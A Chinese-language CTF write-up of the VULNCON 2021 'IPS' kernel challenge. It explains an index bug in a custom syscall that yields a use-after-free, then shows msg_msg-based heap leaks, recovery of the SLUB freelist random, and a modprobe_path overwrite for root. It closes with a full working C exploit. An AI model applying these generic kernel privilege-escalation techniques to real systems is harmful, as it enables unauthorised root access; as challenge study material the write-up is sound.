VULNCON CTF 2021 IPS Writeup
Introduction
网络上很多<=2020年的kernel pwn writeup里的利用细节已经过时了, 像slub上的一些新的mitigations都没有被考虑进去. 今天学习了一个版本相对较新的kernel pwn, 分享一下分析和调试的过程.
题目下载: ips.tar.gz
IPS
0 solves / 500 points all available (heap) mitigations are on. perf_event_open is removed from the syscall table. get root.
Linux (none) 5.14.16 #2 SMP Mon Nov 22 19:24:06 UTC 2021 x86_64 GNU/Linux
TL;DR: 实现的syscall中计算idx的逻辑有漏洞, 可以拿到一块除了前0x10外都可控的UAF. 用UAF篡改一个msg_msg结构体可进行任意长度的leak, kernel base可以直接在leak中拿到, 而根据题目中存储模式的特点可以计算出slub上的地址, 进而计算出slab random. 最终用一个UAF改掉位于chunk中间的*next拿到任意地址写, 修改modprobe path, 在用户态触发modprobe完成提权.
Analysis
Challenge setting
启动脚本:
#!/bin/bash
cd `dirname $0`
qemu-system-x86_64 \
-m 256M \
-initrd initramfs.cpio.gz \
-kernel bzImage -nographic \
-monitor /dev/null \
-s \
-append "kpti=1 +smep +smap kaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet"
开启的保护:
– ktpi: 内核页表隔离. 由于我们是用修改modprobe path的方法, 所以不需要太关注
– smep+smap: 用户态代码不可执行+用户态数据不可访问, 但是没有给qemu传-cpu参数, 所以这两个参数其实是无效的, 因此也就有了ret2user的非预期解法(见下文)
– kaslr: 内核地址随机化, 常规的防护选项, 意味着我们需要leak
解包initramfs.cpio.gz, 查看系统init命令:
#!/bin/sh
mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
chown -R root.root / > /dev/null 2>&1
chown user.user /home/user
HOME=/home/user
ENV=$HOME/.profile; export ENV
echo "1" > /proc/sys/kernel/kptr_restrict
echo "1" > /proc/sys/kernel/perf_event_paranoid
setsid cttyhack setuidgid 1000 /bin/sh
echo -ne "\n"
echo "Bye!"
umount /dev
umount /proc
umount /sys
poweroff -d 0 -f
开启了kptr_restrict
, 无法直接读/proc下的内核指针地址
Vulnerabilities
攻击目标: 实现了一个自定义的syscall, 实现了一个简单的由链表链接的数据管理系统, 有增删改和复制四种功能.
Bug有两处: (1) copy_storage
中target_idx赋值处, 当所有chunk位置都用完了的时候get_idx会返回-1, 此时会把chunks[idx]处的指针复制到chunks[-1]处. 而remove_storage
只会在0-MAX-1之间寻找清除对象, 会造成chunks[-1]这里有一个悬挂指针. (2) edit_storage
中当idx<0时没有做任何处理, 导致我们可以编辑chunks[-1].
int get_idx(void) {
int i;
for(i = 0; i < MAX; i++) {
if(chunks[i] == NULL) {
return i;
}
}
return -1;
}
int check_idx(int idx) {
if(idx < 0 || idx >= MAX) return -1;
return idx;
}
...
int copy_storage(int idx) {
if((idx = check_idx(idx)) < 0) return -1;
if(chunks[idx] == NULL) return -1;
int target_idx = get_idx(); // bug1
chunks[target_idx] = chunks[idx];
return target_idx;
}
int edit_storage(int idx, char *data) {
if((idx = check_idx(idx)) < 0); // bug2
if(chunks[idx] == NULL) return -1;
memcpy(chunks[idx]->data, data, strlen(data));
return 0;
}
两个bug结合起来就是一个UAF, 注意edit_storage这里我们只能编辑chunk->data, 所以这个chunk的前0xe字节是不可控的.
Exploitation
Debug
为了方便调试, 我们先把kaslr关掉, 并加上-s监听gdb连接
# client/run.sh
#!/bin/bash
cd `dirname $0`
qemu-system-x86_64 \
-m 256M \
-initrd initramfs.cpio.gz \
-kernel bzImage -nographic \
-monitor /dev/null \
-s \
-append "kpti=1 +smep +smap nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet"
并将init脚本的中uid设置为0.
# setsid cttyhack setuidgid 1000 /bin/sh
setsid cttyhack setuidgid 0 /bin/sh
启动之后获取题目syscall的函数地址:
/ # cat /proc/kallsyms | grep sys_ips
ffffffff813e0730 t __do_sys_ips
ffffffff813e08e0 T __x64_sys_ips
ffffffff813e08f0 T __ia32_sys_ips
然后从bzImage中提取出vmlinux, 使用Linux官方的extrac-vmlinux脚本即可:
extract-vmlinux bzImage > vmlinux
用IDA或者其他工具打开__x64_sys_ips
对应的地址, 可以将chunks数组的地址找出来:
在gdb里设置一下文件, 断点和chunk数组的地址:
add-symbol-file ../vmlinux 0xffffffff81000000
b *0xffffffff813e0730
set $table=0xFFFFFFFF82CEC8C0
Primitives
如前所述, 触发UAF只需要先填满16个chunk, 然后调用copy_storage将某个chunk复制到chunks[-1], 再remove掉这个chunk, 就可以使用edit chunk[-1]来编辑free掉的这块大小为0x80的cache了:
// F
memset(payload, 0x41, 2);
unsigned long* ptr = payload + 2;
for (int i = 0; i < 16; i++) {
*ptr = 0x4141414141414150 + i;
alloc(0, payload);
}
copy(0);
removechunk(0);
...
// U
payload = xxx;
edit(-1, payload);
我们申请16个标记过的chunk, gdb查看此时的内存分布情况:
pwndbg> x/20gx $table-0x10
0xffffffff82cec8b0: 0x0000000000000000 0xffff888006461c00 <= chunk[-1]
0xffffffff82cec8c0: 0xffff888006461c00 0xffff888006461c80 <= table
0xffffffff82cec8d0: 0xffff888006461280 0xffff888006461f80
0xffffffff82cec8e0: 0xffff888006461e80 0xffff888006461980
0xffffffff82cec8f0: 0xffff888006461100 0xffff888006461480
0xffffffff82cec900: 0xffff888006461400 0xffff888006461900
0xffffffff82cec910: 0xffff888006461d80 0xffff888006461b80
0xffffffff82cec920: 0xffff888006461d00 0xffff888006461600
0xffffffff82cec930: 0xffff888006461700 0xffff888006461000
0xffffffff82cec940: 0x0000000000000000 0x0000000000000000
pwndbg> x/64gx 0xffff888006461c00
0xffff888006461c00: 0xffff888006461c80 0x4141000000000000 <= chunk[0] header
0xffff888006461c10: 0x4141414141414150 0x0000000000000000
0xffff888006461c20: 0x0000000000000000 0x0000000000000000
0xffff888006461c30: 0x0000000000000000 0x0000000000000000
0xffff888006461c40: 0x0000000000000000 0x0000000000000000
0xffff888006461c50: 0x0000000000000000 0x0000000000000000
0xffff888006461c60: 0x0000000000000000 0x0000000000000000
0xffff888006461c70: 0x0000000000000000 0x0000000000000000
0xffff888006461c80: 0xffff888006461280 0x4141000000000001 <= chunk[1] header
0xffff888006461c90: 0x4141414141414151 0x0000000000000000
0xffff888006461ca0: 0x0000000000000000 0x0000000000000000
0xffff888006461cb0: 0x0000000000000000 0x0000000000000000
0xffff888006461cc0: 0x0000000000000000 0x0000000000000000
0xffff888006461cd0: 0x0000000000000000 0x0000000000000000
0xffff888006461ce0: 0x0000000000000000 0x0000000000000000
0xffff888006461cf0: 0x0000000000000000 0x0000000000000000
0xffff888006461d00: 0xffff888006461600 0x414100000000000c <= chunk[0xc] header
0xffff888006461d10: 0x414141414141415c 0x0000000000000000
0xffff888006461d20: 0x0000000000000000 0x0000000000000000
0xffff888006461d30: 0x0000000000000000 0x0000000000000000
0xffff888006461d40: 0x0000000000000000 0x0000000000000000
0xffff888006461d50: 0x0000000000000000 0x0000000000000000
0xffff888006461d60: 0x0000000000000000 0x0000000000000000
0xffff888006461d70: 0x0000000000000000 0x0000000000000000
0xffff888006461d80: 0xffff888006461b80 0x414100000000000a <= chunk[0xa] header
0xffff888006461d90: 0x414141414141415a 0x0000000000000000
0xffff888006461da0: 0x0000000000000000 0x0000000000000000
0xffff888006461db0: 0x0000000000000000 0x0000000000000000
0xffff888006461dc0: 0x0000000000000000 0x0000000000000000
0xffff888006461dd0: 0x0000000000000000 0x0000000000000000
0xffff888006461de0: 0x0000000000000000 0x0000000000000000
0xffff888006461df0: 0x0000000000000000 0x0000000000000000
可以发现启用了CONFIG_SLAB_FREELIST_RANDOM
, 申请到的chunk的顺序都是随机的.
接下来我们释放掉chunk[0], 再查看对应的chunk内存:
pwndbg> x/32gx 0xffff888006461c00
0xffff888006461c00: 0x0000000000000000 0x0000000000000000
0xffff888006461c10: 0x0000000000000000 0x0000000000000000
0xffff888006461c20: 0x0000000000000000 0x0000000000000000
0xffff888006461c30: 0x0000000000000000 0x0000000000000000
0xffff888006461c40: 0x3bb421b91e43f9b4 0x0000000000000000 <= encrypted *next
0xffff888006461c50: 0x0000000000000000 0x0000000000000000
0xffff888006461c60: 0x0000000000000000 0x0000000000000000
0xffff888006461c70: 0x0000000000000000 0x0000000000000000
0xffff888006461c80: 0xffff888006461280 0x4141000000000001
0xffff888006461c90: 0x4141414141414151 0x0000000000000000
0xffff888006461ca0: 0x0000000000000000 0x0000000000000000
0xffff888006461cb0: 0x0000000000000000 0x0000000000000000
0xffff888006461cc0: 0x0000000000000000 0x0000000000000000
0xffff888006461cd0: 0x0000000000000000 0x0000000000000000
0xffff888006461ce0: 0x0000000000000000 0x0000000000000000
0xffff888006461cf0: 0x0000000000000000 0x0000000000000000
可以发现原来的chunk中的header数据被清除, 且多了一个0x3bb421b91e43f9b4的数据. 这里存在着两个防护:
(1) CONFIG_SLAB_FREELIST_HARDENED 将单链表的next指针进行加密:
// mm/slub.c
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
/*
* When CONFIG_KASAN_SW/HW_TAGS is enabled, ptr_addr might be tagged.
* Normally, this doesn't cause any issues, as both set_freepointer()
* and get_freepointer() are called with a pointer with the same tag.
* However, there are some issues with CONFIG_SLUB_DEBUG code. For
* example, when __free_slub() iterates over objects in a cache, it
* passes untagged pointers to check_object(). check_object() in turns
* calls get_freepointer() with an untagged pointer, which causes the
* freepointer to be restored incorrectly.
*/
return (void *)((unsigned long)ptr ^ s->random ^
swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
#else
return ptr;
#endif
}
其中ptr是next的内容也就是下一个chunk, ptr_addr是当前chunk的地址, s->random是随机掩码. swab是一个交换高低字节的指令, 在x86_64里可以直接用bswap
这条汇编指令来进行这个操作, 用python实现的话是这样(64位下):
def swab(x):
return (( x & 0x00000000000000ff) << 56) | \
(( x & 0x000000000000ff00) << 40) | \
(( x & 0x0000000000ff0000) << 24) | \
(( x & 0x00000000ff000000) << 8) | \
(( x & 0x000000ff00000000) >> 8) | \
(( x & 0x0000ff0000000000) >> 24) | \
(( x & 0x00ff000000000000) >> 40) | \
(( x & 0xff00000000000000) >> 56)
(2) 将加密后的next指针移动到chunk中间(而非原来的头部), 这一步有很多人是没有意识到的, 看到chunk开头是0x00就认为不可操作了(比如后文的非预期解一血老哥):
This is because I totally missed the point that this challenge uses a pretty new kernel and it no longer stores the freelist pointer at the start of the slot. Instead, it stores the freelist pointer in the middle of the slot. Since I missed this point, I thought there was no way to hijack the freelist (the UAF-write starts at offset 0xe and I thought the freelist pointer was at offset 0).
// mm/slub.c
static int calculate_sizes(struct kmem_cache *s, int forced_order)
{
...
else {
/*
* Store freelist pointer near middle of object to keep
* it away from the edges of the object to avoid small
* sized over/underflows from neighboring allocations.
*/
s->offset = ALIGN_DOWN(s->object_size / 2, sizeof(void *));
}
由于上述防护的存在, 我们需要得到2个数据才能拿到任意写: UAF chunk的地址和s->random.
另外由于kaslr的存在, 还需要拿到kernel base才可以实现利用.
Leak
现在考虑如何得到上述三个数据.
首先这个UAF只有前0xe个字节不可控, 那么我们其实有很多结构体可以用来leak, 比如修改msg_msg的m_ts:
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
我们申请一块大小为0x80(sizeof(chunk))的msg_msg,
typedef struct
{
long mtype;
char mtext[0x10000];
} msg;
msg msgbuf;
int msg_alloc(int qid, char *data, unsigned int size)
{
msgbuf.mtype = 1;
memcpy(msgbuf.mtext, &data[0x30], size - 0x30); // 0x30: msg_msg header
return msgsnd(qid, &msgbuf, size - 0x30, 0);
}
...
int qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
memset(payload, 0, 0x80);
msg_alloc(qid, payload, 0x80);
查看此时对应的chunk内存分布情况:
pwndbg> x/8gx 0xffff888006461c00
0xffff888006461c00: 0xffff8880064e12c0 0xffff8880064e12c0
0xffff888006461c10: 0x0000000000000001 0x0000000000000050 <= m_ts
0xffff888006461c20: 0x0000000000000000 0xffff88800652cb28
0xffff888006461c30: 0x0000000000000000 0x0000000000000000
我们使用UAF篡改m_ts字段为一个很大的数值:
memset(payload, 0xff, 2); // upper 2 bytes of kernel address will always be 0xffff
memset(payload + 2, 0x41, 0x10); // overwrite msg_type and msg_size
edit(-1, payload);
此时的内存分布:
pwndbg> x/100gx 0xffff888006461c00
0xffff888006461c00: 0xffff8880064e12c0 0xffff8880064e12c0
0xffff888006461c10: 0x4141414141414141 0x4141414141414141 <= m_ts
0xffff888006461c20: 0x0000000000000000 0xffff88800652cb28
0xffff888006461c30: 0x0000000000000000 0x0000000000000000
0xffff888006461c40: 0x0000000000000000 0x0000000000000000
0xffff888006461c50: 0x0000000000000000 0x0000000000000000
0xffff888006461c60: 0x0000000000000000 0x0000000000000000
0xffff888006461c70: 0x0000000000000000 0x0000000000000000
0xffff888006461c80: 0xffff888006461280 0x4141000000000001
0xffff888006461c90: 0x4141414141414151 0x0000000000000000
0xffff888006461ca0: 0x0000000000000000 0x0000000000000000
0xffff888006461cb0: 0x0000000000000000 0x0000000000000000
0xffff888006461cc0: 0x0000000000000000 0x0000000000000000
0xffff888006461cd0: 0x0000000000000000 0x0000000000000000
0xffff888006461ce0: 0x0000000000000000 0x0000000000000000
0xffff888006461cf0: 0x0000000000000000 0x0000000000000000
0xffff888006461d00: 0xffff888006461600 0x414100000000000c
0xffff888006461d10: 0x414141414141415c 0x0000000000000000
0xffff888006461d20: 0x0000000000000000 0x0000000000000000
0xffff888006461d30: 0x0000000000000000 0x0000000000000000
0xffff888006461d40: 0x0000000000000000 0x0000000000000000
0xffff888006461d50: 0x0000000000000000 0x0000000000000000
0xffff888006461d60: 0x0000000000000000 0x0000000000000000
0xffff888006461d70: 0x0000000000000000 0x0000000000000000
0xffff888006461d80: 0xffff888006461b80 0x414100000000000a
0xffff888006461d90: 0x414141414141415a 0x0000000000000000
0xffff888006461da0: 0x0000000000000000 0x0000000000000000
0xffff888006461db0: 0x0000000000000000 0x0000000000000000
0xffff888006461dc0: 0x0000000000000000 0x0000000000000000
0xffff888006461dd0: 0x0000000000000000 0x0000000000000000
0xffff888006461de0: 0x0000000000000000 0x0000000000000000
0xffff888006461df0: 0x0000000000000000 0x0000000000000000
0xffff888006461e00: 0x0000000000000006 0x0009fc0000000000
0xffff888006461e10: 0x0000000100000000 0x000000000009fc00
0xffff888006461e20: 0x0000000000000400 0x000f000000000002
0xffff888006461e30: 0x0001000000000000 0x0000000200000000
0xffff888006461e40: 0x0000000000100000 0x000000000fee0000
0xffff888006461e50: 0x0ffe000000000001 0x0002000000000000
0xffff888006461e60: 0x0000000200000000 0x00000000fffc0000
0xffff888006461e70: 0x0000000000040000 0x0000000000000002
0xffff888006461e80: 0xffff888006461980 0x4141000000000004
0xffff888006461e90: 0x4141414141414154 0x0000000000000000
0xffff888006461ea0: 0x0000000000000000 0x0000000000000000
0xffff888006461eb0: 0x0000000000000000 0x0000000000000000
0xffff888006461ec0: 0x0000000000000000 0x0000000000000000
0xffff888006461ed0: 0x0000000000000000 0x0000000000000000
0xffff888006461ee0: 0x0000000000000000 0x0000000000000000
0xffff888006461ef0: 0x0000000000000000 0x0000000000000000
0xffff888006461f00: 0xffffffff814d0270 0xffff88800642ef00
0xffff888006461f10: 0x0000000000000000 0x0000000000000000
此时从chunk[-1]开始的内核堆数据几乎都可以被leak出来了, 考虑如何从中计算有效信息:
- chunk_base: 题目本身的结构体用了一个单链表串联起来, 所以leak中对于chunk[i], 他的下一个chunk[i+1]的真实地址是可知的. 如果可以找到标号连续的两个chunk就可以得到后者的真实地址, 进而根据其在leak data中的相对位置计算出msg_msg chunk的真实地址. 由于freelist随机化的存在, 这一步能否找到两个编号连续的chunk是不确定的, 但总共也只有16个chunk, 所以概率还是相当大的.
- s->random: 由CONFIG_SLAB_FREELIST_HARDENED的源码可知 s->random = next_free ^ swab(ptr_addr) ^ encrypted_next. 所以需要知道freelist上连续的两个chunk的地址和后入队chunk的next内容, 假设我们在前一步已经找到了连续的两个chunk, 这里只需要free掉这两个chunk, 再调用一次越界读(msgsnd+edit+msgrcv)把内容读出来就可以了
- kernel_base: 泄露中有可能会有一个kernel_base+0xa11600的指针. 这一步参考的是https://kileak.github.io/ctf/2021/vulncon-ips/的做法, 在IDA里看了下这个地址是一个函数, 但不确定这是用来做什么的. 当然这一步也可以用别的方式达到更稳定的利用: 喷射一堆struct file结构体在kmalloc-256上, 之后在leak中照这个结构体, 参考https://blog.kylebot.net/2022/01/10/VULNCON-2021-IPS/#Info-Leak:
The idea is quite simple: spray many struct file objects so that a new kmalloc-256 slab full of struct file will be allocated right after the target kmalloc-128 slab. Since I could leak as many bytes as I wanted, I decided to leak two pages to ensure that all content in the next page will be leaked to userspace. Because of how the page allocator works, this spray is actually quite reliable.
pwndbg> x/64gx 0xffff888006461400
0xffff888006461400: 0xffff888006461900 0x4141000000000008
0xffff888006461410: 0x4141414141414158 0x0000000000000000
0xffff888006461420: 0x0000000000000000 0x0000000000000000
0xffff888006461430: 0x0000000000000000 0x0000000000000000
0xffff888006461440: 0x0000000000000000 0x0000000000000000
0xffff888006461450: 0x0000000000000000 0x0000000000000000
0xffff888006461460: 0x0000000000000000 0x0000000000000000
0xffff888006461470: 0x0000000000000000 0x0000000000000000
0xffff888006461480: 0xffff888006461400 0x4141000000000007
0xffff888006461490: 0x4141414141414157 0x0000000000000000
0xffff8880064614a0: 0x0000000000000000 0x0000000000000000
0xffff8880064614b0: 0x0000000000000000 0x0000000000000000
0xffff8880064614c0: 0x0000000000000000 0x0000000000000000
0xffff8880064614d0: 0x0000000000000000 0x0000000000000000
0xffff8880064614e0: 0x0000000000000000 0x0000000000000000
0xffff8880064614f0: 0x0000000000000000 0x0000000000000000
0xffff888006461500: 0xffffffff81a11600 0x0000000000000000
0xffff888006461510: 0x0000000000000000 0x000000010000000a
0xffff888006461520: 0x0000000000000000 0xffffffff81a11600 <= kernel_base + 0xa11600
0xffff888006461530: 0x0000000000000000 0x0000000000000000
0xffff888006461540: 0x000000020000000a 0x0000000000000000
0xffff888006461550: 0xffffffff81a11600 0x0000000000000000
0xffff888006461560: 0x0000000000000000 0x000000030000000a
0xffff888006461570: 0x0000000000000000 0x0000000000000000
0xffff888006461580: 0x0000000000000000 0x0000000000000000
0xffff888006461590: 0x0000000000000000 0x0000000000000000
0xffff8880064615a0: 0x0000000000000000 0x0000000000000000
0xffff8880064615b0: 0x0000000000000000 0x0000000000000000
0xffff8880064615c0: 0x4442a9391805ea34 0x0000000000000000
0xffff8880064615d0: 0x0000000000000000 0x0000000000000000
0xffff8880064615e0: 0x0000000000000000 0x0000000000000000
0xffff8880064615f0: 0x0000000000000000 0x0000000000000000
Exploit
得到msg_msg的chunk地址, s->random, 以及kernel base之后, 就可以通过篡改freelist来alloc任意地址了. 这里我们选择覆写modprobe_path来进行提权:
pwndbg> x/s 0xffffffff8244fa20
0xffffffff8244fa20: "/sbin/modprobe"
那么计算对应要写入UAF chunk中next的地址就是*ptr = (modprobe_path_addr – 0x10) ^ s->random ^ bswap(msg_msg_address + 0x40)
其中-0x10是因为我们拿到的chunk前0xe字节不可控, 而+0x40是因为前面的防护(2)将next指针的位置迁移到了chunk中间.
然后运行一个不可执行的文件触发modprobe即可, 具体细节不再赘述, 参考https://www.anquanke.com/post/id/236126
非预期解: 由于qemu的启动脚本里没有加-cpu选项, qemu使用了默认的不支持SMEP/SMAP的cpu, 所以这里SMEP/SMAP其实是没有用的. 这样的话预先喷射好struct file结构体, 然后劫持内部的fops再ret2user就可以了, 详见https://blog.kylebot.net/2022/01/10/VULNCON-2021-IPS/
Conclusion
- Vulnerability:
- copy_storage中的target_idx可以是-1, 要填满16个chunk
- edit中的idx<0没有check, 和1结合起来可以UAF
- 先填满16个chunk, 然后调用copy_storage将chunk[0]复制到chunks[-1]
- 然后remove_storage掉chunk[0], F
- 然后可以edit(-1), U
- How to leak:
- 利用msg_msg申请一个对应大小的块, chunk的大小可以计算为: 114+4+2+8=128, 那么我们发送一个大小为0x80的msg_msg就可以拿到之前Free掉的chunk
- UAF可以修改&chunk+16之后的所有地址, 所以可以修改到msg_msg的m_ts, 把后面的很多chunk泄露出来
- 需要在泄露中找的地址: kernel_base+s->random+chunk_base
- kernel_base: 泄露中有可能会有一个kernel_base+0xa11600的指针
- chunk_base: 题目本身的结构体用了一个单链表串联起来, 所以leak中每个chunk的下一个chunk的真实地址是已知的. 如果可以找到标号连续的两个chunk就可以根据其在leak data中的相对位置计算出msg_msg chunk的真实地址
- s->random: s->random = next_free ^ swab(ptr_addr) ^ obfuscated_next. 所以需要知道freelist上连续的两个chunk的地址和后入队的next内容, 而连续的两个chunk在前一步已经找到了, 这里只需要free掉这两个chunk, 再调用一次越界读(msgsnd+edit+msgrcv)把内容读出来就可以了
- Exploit:
- 计算出加密后的指向modprobe path的next指针, 覆盖到0x40的偏移处
- 申请2次即可拿到modprobe path, edit修改
- 在用户态触发modprobe即可
Full exploit:
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
void single_step() {
printf("Enter to continue...\n");
char tmp;
scanf("%c", &tmp);
}
typedef struct
{
int idx;
unsigned short priority;
char *data;
} userdata;
typedef struct
{
long mtype;
char mtext[0x10000];
} msg;
msg msgbuf;
int msg_alloc(int qid, char *data, unsigned int size)
{
msgbuf.mtype = 1;
memcpy(msgbuf.mtext, &data[0x30], size - 0x30); // 0x30: msg_msg header
return msgsnd(qid, &msgbuf, size - 0x30, 0);
}
unsigned long docall(int option, int idx, unsigned short priority, char *data)
{
userdata req = {
.idx = idx,
.priority = priority,
.data = data};
return syscall(548, option, &req);
}
unsigned long alloc(unsigned short priority, char *data)
{
return docall(1, -1, priority, data);
}
unsigned long removechunk(int idx)
{
return docall(2, idx, 0, "");
}
unsigned long edit(int idx, char *data)
{
return docall(3, idx, 0, data);
}
unsigned long copy(int idx)
{
return docall(4, idx, 0, "");
}
struct chunk_info
{
unsigned long address;
unsigned long next;
unsigned long offset;
};
struct chunk_info chunks[16];
unsigned long kernel_base = 0;
unsigned long slab_random = 0;
unsigned long msg_msg_address = 0;
unsigned long modprobe_path = 0;
unsigned long bswap(unsigned long val) {
asm(
"bswap %1;"
: "=r" (val)
: "r" (val));
}
void find_chunk_info(char *buffer)
{
unsigned long *ptr;
// Stage1 : Find offsets of chunks in payload
for (size_t offset = 0; offset < 0x1000; offset += 8)
{
ptr = buffer + offset;
if (((*ptr & 0xffffffffffffff00) == 0x4141414141414100) && ((*ptr & 0x00000000000000ff) != 0x41))
{
// Found a chunk
int idx = (*ptr & 0x00000000000000ff) - 0x50;
chunks[idx].offset = offset - 0x10;
chunks[idx].next = *((unsigned long *)(buffer + offset - 0x10));
}
if ((kernel_base == 0) && ((*ptr & 0xfff) == 0x600))
{
kernel_base = *ptr - 0xa11600;
modprobe_path = kernel_base + 0x144fa20;
}
}
// Stage2 : Find addresses of chunks
for (int i = 0; i < 15; i++)
{
if ((chunks[i].offset != 0) && (chunks[i + 1].offset != 0))
{
chunks[i + 1].address = chunks[i].next;
// Calculate msg_msg address relative to current chunk
msg_msg_address = chunks[i + 1].address - chunks[i + 1].offset - 0x20;
}
}
// Show chunk informations
printf("\nFound chunks\n");
printf("---------------------------------------------------------------------------------\n");
for (int i = 0; i < 16; i++)
{
printf("Chunk [%2d] - Address: %18p / Next: %18p / Offset: %5p\n", i, chunks[i].address, chunks[i].next, chunks[i].offset);
}
printf("---------------------------------------------------------------------------------\n\n");
// Stage3 : Allocate another msg_msg and free two known chunks
char msg_payload[0x1000] = {0};
int qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg_alloc(qid, msg_payload, 0x80);
unsigned long freed_addresses[2];
int cur_free = 0;
// Free two chunks with known offset and address
for (int i = 0; i < 16; i++)
{
if (chunks[i].address != 0 && chunks[i].offset != 0)
{
removechunk(i);
freed_addresses[cur_free++] = i;
if (cur_free == 2)
break;
}
}
if (cur_free != 2)
{
printf("[+] Didn't find enough chunks for heap guard leak\n");
exit(-1);
}
// Stage4 : Corrupt msg_msg again to leak known free chunk heap guards and calculate secret
memset(msg_payload, 0xff, 2);
memset(msg_payload + 2, 0x41, 0x10);
msg_payload[0x12] = 0x0;
edit(-1, msg_payload);
single_step();
msgrcv(qid, msg_payload + 8, 0x4141414141414141, 0x4141414141414141, 0);
unsigned long heap_guard = *((unsigned long *)(msg_payload + chunks[freed_addresses[1]].offset + 0x40));
unsigned long next_free = chunks[freed_addresses[0]].address;
unsigned long ptr_addr = chunks[freed_addresses[1]].address + 0x40;
// next_free = heap_guard ^ s->random ^ swab(ptr_addr)
// s->random = heap_guard ^ next_free ^ swab(ptr_addr)
slab_random = heap_guard ^ next_free ^ bswap(ptr_addr);
printf("[+] Kernel base : %p\n", kernel_base);
printf("[+] msg_msg addr : %p\n", msg_msg_address);
printf("[+] s->random : %p\n", slab_random);
printf("[+] modprobe_path : %p\n", modprobe_path);
}
int main()
{
char payload[0x4000] = {0};
printf("[+] Prepare modprobe_path exploit\n");
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /home/user/flag\n/bin/chmod 777 /home/user/flag' > /home/user/copy.sh");
system("chmod +x /home/user/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
system("chmod +x /home/user/dummy");
printf("[+] Create msg queue\n");
int qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
printf("[+] Fillup complete storage\n");
memset(payload, 0x41, 2);
unsigned long* ptr = payload + 2;
for (int i = 0; i < 16; i++)
{
*ptr = 0x4141414141414150 + i;
alloc(0, payload);
}
single_step();
printf("[+] Create uaf copy\n");
copy(0);
single_step();
removechunk(0);
single_step();
printf("[+] Create msg_msg in uaf chunk\n");
memset(payload, 0, 0x80);
msg_alloc(qid, payload, 0x80);
single_step();
printf("[+] Corrupt msg_msg to leak followup data\n");
memset(payload, 0xff, 2); // upper 2 bytes of kernel address will always be 0xffff
memset(payload + 2, 0x41, 0x10); // overwrite msg_type and msg_size
edit(-1, payload);
single_step();
printf("[+] Receive msg_msg for leaks\n");
memset(payload, 0, 0x4000);
msgrcv(qid, payload + 8, 0x4141414141414141, 0x4141414141414141, 0);
single_step();
find_chunk_info(payload);
if (kernel_base != 0 && slab_random != 0 && msg_msg_address != 0)
{
single_step();
memset(payload, 0, 0x100);
memset(payload, 0x41, 0x32);
ptr = payload + 0x32;
*ptr = (modprobe_path - 0x10) ^ slab_random ^ bswap(msg_msg_address + 0x40);
edit(-1, payload);
single_step();
memset(payload, 0, 0x100);
memset(payload, 0x41, 0x2);
strcpy(payload + 0x2, "/home/user/copy.sh");
alloc(0, payload);
alloc(0, payload);
}
else
{
printf("[-] Didn't find all needed leaks\n");
exit(-1);
}
printf("Trigger modprobe_path exploit\n");
system("./dummy");
system("cat flag");
}